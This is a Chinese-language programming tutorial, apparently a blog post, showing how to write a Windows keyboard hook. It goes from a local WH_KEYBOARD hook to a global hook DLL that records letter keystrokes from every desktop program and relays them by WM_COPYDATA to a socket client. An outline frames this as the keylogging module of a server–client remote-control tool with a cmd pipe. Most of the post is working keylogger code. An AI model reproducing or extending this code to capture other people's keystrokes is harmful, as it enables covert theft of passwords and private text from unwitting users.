键盘钩子

HOOK 钩子

HHOOK SetWindowsHookEx(
  int idHook,        // hook type
  HOOKPROC lpfn,     // hook procedure
  HINSTANCE hMod,    // handle to application instance
  DWORD dwThreadId   // thread identifier
);

键盘钩子

WH_KEYBOARD

钩全局/钩本地

钩子链,谁最后下钩子,谁最先被调用

void CHOOKMFCDlg::OnBnClickedHook()
{
    // TODO:  在此添加控件通知处理程序代码
    
    g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型
        (HOOKPROC)KeyboardProc, //回调函数
        NULL,   //表示第三方注入的DLL,全局钩子使用
        GetCurrentThreadId()    //线程id,0表示钩所有桌面程序
        );
    if (g_hhk == NULL)
    {
        AfxMessageBox(_T("下钩子失败"));
        return;
    }

    //否则就成功

}
HHOOK g_hhk;

//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int code,       // hook code
    WPARAM wParam,  // virtual-key code
    LPARAM lParam   // keystroke-message information
    )
{
    //调试输出工具,输出调试字符串
    //写日志

    OutputDebugStringA("keyboard pressed!");



    //调用下一个钩子
    return CallNextHookEx(g_hhk, code, wParam, lParam);
}


这里我按一下但是会显示两次,因为键盘按下和弹起是两个动作

全局钩子需要一个DLL(动态链接库),程序依赖库,库提供了某些函数,我们需要编写一个dll,将hook函数放在dll中,然后让操作系统去使用该dll,让其钩住其他进程得键盘消息。
exe(调用钩子函数) + Dll(编写钩子函数)

DLL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <stdio.h>

//提供钩子回调函数
HHOOK g_hhk;
HMODULE g_hModule;
//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int code,       // hook code
    WPARAM wParam,  // virtual-key code
    LPARAM lParam   // keystroke-message information
    )
{
    //调试输出工具,输出调试字符串
    //写日志

    //OutputDebugStringA("keyboard pressed!");
    //虚拟键 我们键盘在我们windows中用一些宏来表示
    unsigned int nVKCode = wParam;
    //表示按了a-z
    char szBuf[256] = { 0 };
    if (nVKCode >= 'A' && nVKCode <= 'Z'){
        sprintf_s(szBuf, "%c pressed", nVKCode);
        OutputDebugStringA(szBuf);
    }



    //调用下一个钩子
    return CallNextHookEx(g_hhk, code, wParam, lParam);
}

//dll导出函数,提供给其他程序使用
BOOL MySetHook(){
    g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型
        (HOOKPROC)KeyboardProc, //回调函数
        g_hModule,  //表示第三方注入的DLL,全局钩子使用,dll的模块句柄
        0   //线程id,0表示钩所有桌面程序
        );
    if (g_hhk == NULL){
        return FALSE;
    }

    return TRUE;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        //当dll被加载时调用
        //编写初始化操作 
        g_hModule = hModule;

    }
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    {
        //当dll被释放时候调用
        //编写反初始化操作
    }
        break;
    }
    return TRUE;
}

服务端 —socket—- 客户端
1.cmd功能 <---管道----cmd 2.键盘记录 <--- ----dll(keyboard hook) 最简单的进程通信:发送消息WM_COPYDATA 这里我们创建一个win32项目 function.h

#pragma once

//创建socket
int insocket();

function.cpp

#include "stdafx.h"
#include "function.h"
#include <winSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")

SOCKET s;

int insocket(){

    //初始化
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(2, 2);

    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0) {

        return 0;
    }

    //创建套字节
    s = socket(AF_INET, SOCK_STREAM
        , 0);

    if (INVALID_SOCKET == s)
    {
        return 0;
    }

    // 绑定套字节  
    sockaddr_in soadder;
    soadder.sin_family = AF_INET;
    soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    soadder.sin_port = htons(10087);
    int len = sizeof(sockaddr_in);
    return 1;
}

创建一个函数insocket()用来创建socket
然后在win32项目写入连接

    int nRte = insocket();

    if (nRte == 0)
    {
        OutputDebugStringA("error");
        return 0;

    }

    //connent
    sockaddr_in soadder = { 0 };
    soadder.sin_family = AF_INET;
    int len = sizeof(sockaddr_in);
    soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    soadder.sin_port = htons(10087);

    nRte = connect(s, (sockaddr*)&soadder, len);

    if (SOCKET_ERROR == nRte)
    {
        return 0;
    }

创建全局句柄用来获取win32句柄给dll使用,因为dll里面获取键盘内容要发送给客户端所以要获取客户端句柄

 g_hWnd = hWnd;
    BOOL bRet = MySetHook(g_hWnd);
   if (!bRet){
       OutputDebugStringA("set hook error");
       return 0;
   }

然后在回调函数里面进行处理

case WM_COPYDATA:
    {
        //表示我们dll发送的数据,我们在这里接受并处理
        PCOPYDATASTRUCT pcds = (PCOPYDATASTRUCT)lParam;
        OutputDebugStringA((LPCSTR)pcds->lpData);
    }

然后是dll代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <stdio.h>

//提供钩子回调函数
HHOOK g_hhk;
HMODULE g_hModule;
HWND g_hWnd;
//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int code,       // hook code
    WPARAM wParam,  // virtual-key code
    LPARAM lParam   // keystroke-message information
    )
{
    //调试输出工具,输出调试字符串
    //写日志

    //OutputDebugStringA("keyboard pressed!");
    //虚拟键 我们键盘在我们windows中用一些宏来表示
    unsigned int nVKCode = wParam;
    //表示按了a-z
    char szBuf[256] = { 0 };
    if (nVKCode >= 'A' && nVKCode <= 'Z'){
        sprintf_s(szBuf, "%c pressed", nVKCode);
        //OutputDebugStringA(szBuf);
        //改成向我们主窗口发送我们的键盘消息,WM_DATACOPY消息
        COPYDATASTRUCT cds;
        cds.dwData = 0;
        cds.cbData =strlen(szBuf)+1;    //表示数据的长度
        cds.lpData = szBuf; //表示数据

        SendMessage(g_hWnd, //向目标窗口发送消息 
                    WM_COPYDATA,
                    (WPARAM)g_hWnd,     //表示当前自己的窗口句柄,可以不写
                    (LPARAM)&cds    //构建一个结构体用于将数据传输
                    );
    }



    //调用下一个钩子
    return CallNextHookEx(g_hhk, code, wParam, lParam);
}

//dll导出函数,提供给其他程序使用
BOOL MySetHook(HWND hWnd){
    g_hWnd = hWnd;
    g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型
        (HOOKPROC)KeyboardProc, //回调函数
        g_hModule,  //表示第三方注入的DLL,全局钩子使用,dll的模块句柄
        0   //线程id,0表示钩所有桌面程序
        );
    if (g_hhk == NULL){
        return FALSE;
    }

    return TRUE;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        //当dll被加载时调用
        //编写初始化操作 
        g_hModule = hModule;

    }
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    {
        //当dll被释放时候调用
        //编写反初始化操作
    }
        break;
    }
    return TRUE;
}
原文地址:https://www.cnblogs.com/yicunyiye/p/13684422.html